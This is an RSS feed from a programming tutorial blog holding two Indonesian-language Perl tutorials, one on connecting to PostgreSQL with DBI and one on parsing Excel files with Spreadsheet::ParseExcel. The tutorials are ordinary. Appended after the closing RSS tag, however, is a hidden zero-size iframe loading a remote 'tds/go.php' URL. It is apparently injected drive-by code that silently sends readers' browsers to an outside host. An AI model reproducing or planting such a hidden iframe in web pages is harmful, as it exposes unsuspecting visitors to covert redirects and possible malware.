<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>dijexi.com &#187; script perl</title>
	<atom:link href="http://www.dijexi.com/tag/script-perl/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.dijexi.com</link>
	<description>free programming tutorial, tips and tricks on php, codeigniter, delphi, dotnet, ajax and more..</description>
	<lastBuildDate>Fri, 13 Jan 2012 23:21:06 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
<atom:link rel="hub" href="http://pubsubhubbub.appspot.com"/><atom:link rel="hub" href="http://superfeedr.com/hubbub"/>		<item>
		<title>Perl connection to PostgreSQL</title>
		<link>http://www.dijexi.com/2009/06/perl-konek-ke-postgresql/</link>
		<comments>http://www.dijexi.com/2009/06/perl-konek-ke-postgresql/#comments</comments>
		<pubDate>Mon, 29 Jun 2009 23:30:07 +0000</pubDate>
		<dc:creator>akhmad daniel sembiring</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Perl]]></category>
		<category><![CDATA[PostgreSQL]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[dbh]]></category>
		<category><![CDATA[perl package manager]]></category>
		<category><![CDATA[script perl]]></category>
		<category><![CDATA[sistem operasi windows]]></category>

		<guid isPermaLink="false">http://www.dijexi.com/2009/06/perl-konek-ke-postgresql/</guid>
		<description><![CDATA[Modul Perl yang diperlukan Agar program Perl bisa connect ke Posgres diperlukan modul tambahan Perl sebagai berikut: DBI DBD::Pg Instalasi Modul di Linux Untuk sistem operasi Linux, installasi modul sangat mudah dilakukan, yaitu dengan menggunakan program RPM, Yum, dan sebagainya. Sebagai contoh untuk menginstall modul DBD::Pg, lakukan langkah-langkah sbb: Cari nama package modul jika belum [...]]]></description>
			<content:encoded><![CDATA[<!--INFOLINKS_ON--><h2>Modul Perl yang diperlukan</h2>
<p>Agar program Perl bisa connect ke Posgres diperlukan modul tambahan Perl sebagai berikut:</p>
<ol>
<li>DBI</li>
<li>DBD::Pg</li>
</ol>
<h2>Instalasi Modul di Linux</h2>
<p>Untuk sistem operasi Linux, installasi modul sangat mudah dilakukan, yaitu dengan menggunakan program RPM, Yum, dan sebagainya.</p>
<p><span id="more-226"></span></p>
<p>Sebagai contoh untuk menginstall modul DBD::Pg, lakukan langkah-langkah sbb:</p>
<p>Cari nama package modul jika belum diketaui secara pasti.</p>
<blockquote>
<pre># yum search perl-dbd</pre>
</blockquote>
<p>hasilnya misalnya (bisa beda-beda setiap komputer):</p>
<blockquote>
<pre style="width: 479px; height: 90px;">Loading "fastestmirror" plugin
Loading mirror speeds from cached hostfile  * base: centosq2.centos.org  * updates: centosw.centos.org  * addons: centosk2.centos.org  * extras: centosw.centos.org
perl-DBD-Pg.x86_64 : A PostgresSQL interface for perl
perl-DBD-MySQL.x86_64 : A MySQL interface for perl</pre>
</blockquote>
<p>Dari hasil pencarian tersebut dapat diketahui nama file modul yang perlu diinstal secara pasti, yaitu <strong>perl-DBD-Pg.x86_64</strong>.</p>
<p>Jalankan perintah install sebagai berikut:</p>
<blockquote>
<pre># yum install perl-DBD-Pg.x86_64</pre>
</blockquote>
<p>Pastikan tidak ada pesan error. Jika sudah sukses, maka modul DBD::Pg siap digunakan. Modul DBI umumnya sudah diinstall secara default. Namun jika belum (diketahui dari pesan error saat install DBD::Pg) maka lakukan langkah yang sama seperti di atas untuk modul DBI.</p>
<h2>Instalasi Modul di Windows</h2>
<p>Untuk Sistem operasi Windows gunakan ActiveState Perl. Pada program tersebut terdapat program utiliti ppm (perl package manager) yang dapat digunakan untuk mengelola modul.</p>
<h2>Script Koneksi PostgreSQL</h2>
<p>Langkah pemanggilan fungsi yang perlu dilakukan oleh script Perl untuk konek dan query ke Postgres adalah:</p>
<ol>
<li>function $dbh = DBI-&gt;connect()</li>
<li>function $sth = dbh-&gt;prepare($sql)</li>
<li>function $sth-&gt;execute;</li>
<li>jika diperlukan untuk mengambil data: function $sth-&gt;fetchrow()</li>
</ol>
<p>Langkah pertama adalah memanggil modul DBI untukmelakukan koneksi ke database.  Seacara lengkap sintaksnya adalah :</p>
<blockquote>
<pre style="width: 479px; height: 44px;">$dbh = DBI-&gt;connect("dbi:Pg:dbname=namadatabase", 'namauser', 'password', {AutoCommit =&gt; 1});</pre>
</blockquote>
<p>Dimana paramenter pertama &#8220;dbi:Pg:dbname=namadatabase&#8221; adalah parameter koneksi ke server. Dapat ditambahkan dengan string hostname dan port yang jika tidak dicantumkan maka diasumsikan localhost port 5432.</p>
<p>Parameter kedua dan ketiga adalah nama user database dan password nya yang digunakan untuk melakukan koneksi.</p>
<p>Parameter ke empat {AutoCommit =&gt; 1} adalah option yang menentukan apakah setiap query akan otomatis di commit atau tidak. Jika Tidak maka perlu dijalanlan function $dbh-&gt;commit().</p>
<p>Setelah berhasil konek, langkah selanjutnya adalah mempersiapkan SQL statement yang akan dikirimkan ke server. Perintah selengkapnya misalnya sbb:</p>
<blockquote>
<pre>$sql = "select * from namatable";
$sth = $dbh-&gt;prepare($sql);</pre>
</blockquote>
<p>Setelah dipersiapkan, maka panggil function execute untuk mengeksekusi SQL:</p>
<pre>$sth-&gt;execute;</pre>
<p>Jika SQL yang dijalankan mengeluarkan hasil (misalnya SQL SELECT), maka data yang dihasilkan ditangkap dengan menggunakan function $sth-&gt;fetchrow() yang dilooping sampai dengan data tersebut habis, sebagai berikut:</p>
<blockquote>
<pre>while ( my @row = $sth-&gt;fetchrow() )
{
     print $row[0] , $row[0];
}</pre>
</blockquote>
<p>Untuk SQL yang tidak mengeluarkan hasil (misalnya SQL INSERT, UPDATE), maka tidak perlu dilakukan pemanggilan function fetchrow().</p>
<p>Akhmad Daniel Sembiring</p>
<p><a href="http://www.vitraining.com">vITraining.com &#8211; Qualified IT Products, Outsourcing, and Services</a></p>
<p><a href="http://ligarwangi.com">Ligarwangi.com &#8211; Linux, E-book, Coffee, Gift, etc</a></p>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://www.dijexi.com/2009/06/meng-connect-in-php-ke-postgresql/" rel="bookmark">PHP Connection to PostgreSQL</a></li><li><a href="http://www.dijexi.com/2009/07/php-library-to-connect-to-ldap-server/" rel="bookmark">PHP Library to Connect to LDAP Server</a></li><li><a href="http://www.dijexi.com/2009/05/koneksi-ms-sql-server-dengan-c-sharp/" rel="bookmark">Koneksi MS SQL Server dengan C-Sharp</a></li><li><a href="http://www.dijexi.com/2008/06/perl-membaca-file-excel/" rel="bookmark">Perl Membaca File Excel</a></li><li><a href="http://www.dijexi.com/2010/08/creating-gps-tracker-application-on-j2me-phones/" rel="bookmark">Creating GPS Tracker Application on J2ME Phones</a></li></ul></div><!--INFOLINKS_OFF--><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.dijexi.com%2F2009%2F06%2Fperl-konek-ke-postgresql%2F&amp;linkname=Perl%20connection%20to%20PostgreSQL"><img src="http://www.dijexi.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.dijexi.com/2009/06/perl-konek-ke-postgresql/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Perl Membaca File Excel</title>
		<link>http://www.dijexi.com/2008/06/perl-membaca-file-excel/</link>
		<comments>http://www.dijexi.com/2008/06/perl-membaca-file-excel/#comments</comments>
		<pubDate>Mon, 09 Jun 2008 23:34:00 +0000</pubDate>
		<dc:creator>akhmad daniel sembiring</dc:creator>
				<category><![CDATA[MS Excel]]></category>
		<category><![CDATA[Perl]]></category>
		<category><![CDATA[direktori]]></category>
		<category><![CDATA[download]]></category>
		<category><![CDATA[excel]]></category>
		<category><![CDATA[file xls]]></category>
		<category><![CDATA[IO]]></category>
		<category><![CDATA[IO-stringy    Installasi]]></category>
		<category><![CDATA[script perl]]></category>
		<category><![CDATA[search cpan]]></category>
		<category><![CDATA[source code module]]></category>
		<category><![CDATA[Spreadsheet]]></category>
		<category><![CDATA[tar gz]]></category>

		<guid isPermaLink="false">http://www.dijexi.com/2008/06/perl-membaca-file-excel/</guid>
		<description><![CDATA[Modul yang diperlukan Agar script perl bisa membaca file XLS, maka diperlukan modul tambahan sbb: Module-Build (jika belum diinstall secara default, diperlukan untuk meng-compile dan install modul-modul lainnya dibawah ini) Spreadsheet::ParseExcel; OLE-Storage IO-stringy Installasi Modul Agak rumit tapi bisa. Rumitnya karena modul-modul tersebut belum ada package nya sehingga tidak bisa diinstall menggunakan Yum dan kawan-kawan. [...]]]></description>
			<content:encoded><![CDATA[<!--INFOLINKS_ON--><h2>Modul yang diperlukan</h2>
<p>Agar script perl bisa membaca file XLS, maka diperlukan modul tambahan sbb:</p>
<ol>
<li>Module-Build (jika belum diinstall secara default, diperlukan untuk meng-compile dan install modul-modul lainnya dibawah ini)</li>
<li>Spreadsheet::ParseExcel;</li>
<li>OLE-Storage</li>
<li>IO-stringy</li>
</ol>
<p><span id="more-227"></span></p>
<h2>Installasi Modul</h2>
<p>Agak rumit tapi bisa. Rumitnya karena modul-modul tersebut belum ada package nya sehingga tidak bisa diinstall menggunakan Yum dan kawan-kawan.</p>
<p>Jadi masing-masing modul harus diinstall secara manual menggunakan Makefile yang terdapat di masing-masing source code module tersebut.</p>
<p>Langkah pertama adalah download modul ybs. Misalnya Spreadsheet::ParseExcel. Lokasi downloadnya dapat dicari dari <a href="http://search.cpan.org">search.cpan.org.</a> Cari nama modul di kolom search. Kemudian lihat di bagian Download link (di sebelah kanan halaman).</p>
<p><a href="http://akhdaniel.files.wordpress.com/2008/10/download-modul.jpg"><img class="alignnone size-full wp-image-83" title="download-modul" src="http://akhdaniel.files.wordpress.com/2008/10/download-modul.jpg" alt="" width="450" height="297" /></a></p>
<p>Copy link tersebut lalu download menggunakan program download yang anda sukai, misalnya wget.</p>
<blockquote><p># wget http://search.cpan.org/CPAN/authors/id/S/SZ/SZABGAB/Spreadsheet-ParseExcel-0.33.tar.gz</p></blockquote>
<p>Jika sudah berhasil download, maka extract file tersebut ke sembarang direktori.</p>
<blockquote><p># tar xvfpz Spreadsheet-ParseExcel-0.33.tar.gz</p></blockquote>
<p>Lalu masuk ke direktori hasil extract:</p>
<blockquote><p># cd Spreadsheet-ParseExcel-0.33</p></blockquote>
<p>Baca cara installnya pada file README (atau INSTALL).  Menurut file tersebut, cara installnya ada beberapa model:</p>
<blockquote><p>INSTALLATION<br />
The module can be installed using the standard Perl procedure:<br />
perl Build.PL<br />
./Build<br />
./Build test<br />
./Build install</p>
<p>or<br />
perl Makefile.PL<br />
make<br />
make test<br />
make install</p>
<p># You may need to be root<br />
make clean      # or make realclean</p>
<p>or using CPAN.pm or CPANPLUS.pm<br />
cpan Spreadsheet::ParseExcel</p></blockquote>
<p>Misalnya kita ambil cara pertama, maka langkah yang dilakukan adalah menjalankan perintah:</p>
<blockquote><p># perl Build.PL</p></blockquote>
<p>Setelah sukses, lanjutkan ke perintah:</p>
<pre>
<blockquote>

# ./Build</blockquote>
</pre>
<p>Kemudian perintah:</p>
<pre>
<blockquote>

# ./Build test</blockquote>
</pre>
<p>Diakhiri dengan perintah (untuk yang ini anda harus login sebagai root):</p>
<pre>
<blockquote>

# ./Build install</blockquote>
</pre>
<p>Setelah sukses install, maka modul ini sudah siap digunakan. Lakukan installasi modul yang lainnya (OLE-Storage dan IO-stringly)  dengan cara yang sama seperti di atas.</p>
<h2>Contoh Script untuk Membaca Excel</h2>
<ol>
<li>
<pre>use Spreadsheet::ParseExcel;</pre>
</li>
<li>
<pre>my $oExcel = new Spreadsheet::ParseExcel;</pre>
</li>
<li>
<pre>my $oBook = $oExcel-&gt;Parse($file);</pre>
</li>
<li>
<pre>my($iR, $iC, $oWkS, $oWkC);</pre>
</li>
<li>
<pre>for(my $iSheet=0; $iSheet &lt; $oBook-&gt;{SheetCount} ; $iSheet++) {</pre>
</li>
<li>
<pre>    $oWkS = $oBook-&gt;{Worksheet}[$iSheet];</pre>
</li>
<li>
<pre>    for(my $iR = $oWkS-&gt;{MinRow};</pre>
</li>
<li>
<pre>        defined $oWkS-&gt;{MaxRow} &amp;&amp; $iR &lt;= $oWkS-&gt;{MaxRow};</pre>
</li>
<li>
<pre>        $iR++)    {</pre>
</li>
<li>
<pre>            my $a = $oWkS-&gt;{Cells}[$iR][0];</pre>
</li>
<li>
<pre>            my $b = $oWkS-&gt;{Cells}[$iR][1];</pre>
</li>
<li>
<pre>            print $a-&gt;Value, " ", $b-&gt;Value;</pre>
</li>
<li>
<pre>        }</pre>
</li>
<li>
<pre>}</pre>
</li>
</ol>
<p>Baris 1, adalah pemanggilan modul Spreadsheet::Excel. Baris 2 adalah pendefinisian object variabel yang merepresentasikan pemroses file Excel. Baris 3 mendefinisikan Workbook Excel yang hendak dibaca yang nama filenya ditentukan diparameter.</p>
<p>Baris 4 adalah definisi variabel lokal yang akan digunakan selama proses pembacaan file yaitu: $iR indeks baris, $iC indeks kolom, $oWkS suatu worksheet, dan $oWkC suatu cell.</p>
<p>Baris 5 adalah looping untuk setiap worksheet yang ada pada file Excel yang dibaca. Baris 6 untuk setiap worksheet yang terbaca, simpan referensinya ke variabel $oWkS.</p>
<p>Baris 7 looping untuk setiap baris yang terdapat pada worksheet yang sedang dibaca dimulai dari baris yang paling kecil ($oWkS-&gt;{MinRow}) sampai dengan baris terakhir ( $oWkS-&gt;{MaxRow} ). Yang dilakukan setiap looping baris adalah membaca isi cell pada baris tersebut, yaitu dengan cara  $oWkS-&gt;{Cells}[$iR][0] seperti pada baris 10 dan 11, dimana array yang kedua (dalam hal ini 0) adalah indeks kolom pada baris tersebut, dimulai dari 0.</p>
<p>Terakhir adalah mengambil nilai pada cell tersebut dengan cara memanggil properti Value object cell seperti pada baris 12.</p>
<p>Akhmad Daniel Sembiring</p>
<p><a href="http://www.vitraining.com">vITraining.com &#8211; Qualified IT Products, Outsourcing, and Services</a></p>
<p><a href="http://ligarwangi.com">Ligarwangi.com &#8211; Linux, E-book, Coffee, Gift, etc</a></p>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://www.dijexi.com/2009/06/perl-konek-ke-postgresql/" rel="bookmark">Perl connection to PostgreSQL</a></li><li><a href="http://www.dijexi.com/2009/09/microsoft-excel-for-online-marketers/" rel="bookmark">Microsoft Excel For Online Marketers</a></li><li><a href="http://www.dijexi.com/2009/06/tutorial-membuat-laporan-tingkat-lanjut/" rel="bookmark">16. Laporan Tingkat Lanjut</a></li><li><a href="http://www.dijexi.com/2009/06/ms-excel-conditional-formatting/" rel="bookmark">Ms Excel: Conditional Formatting</a></li><li><a href="http://www.dijexi.com/2009/05/mengakses-ini-file-dengan-c-sharp/" rel="bookmark">Mengakses INI File dengan C Sharp</a></li></ul></div><!--INFOLINKS_OFF--><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.dijexi.com%2F2008%2F06%2Fperl-membaca-file-excel%2F&amp;linkname=Perl%20Membaca%20File%20Excel"><img src="http://www.dijexi.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.dijexi.com/2008/06/perl-membaca-file-excel/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
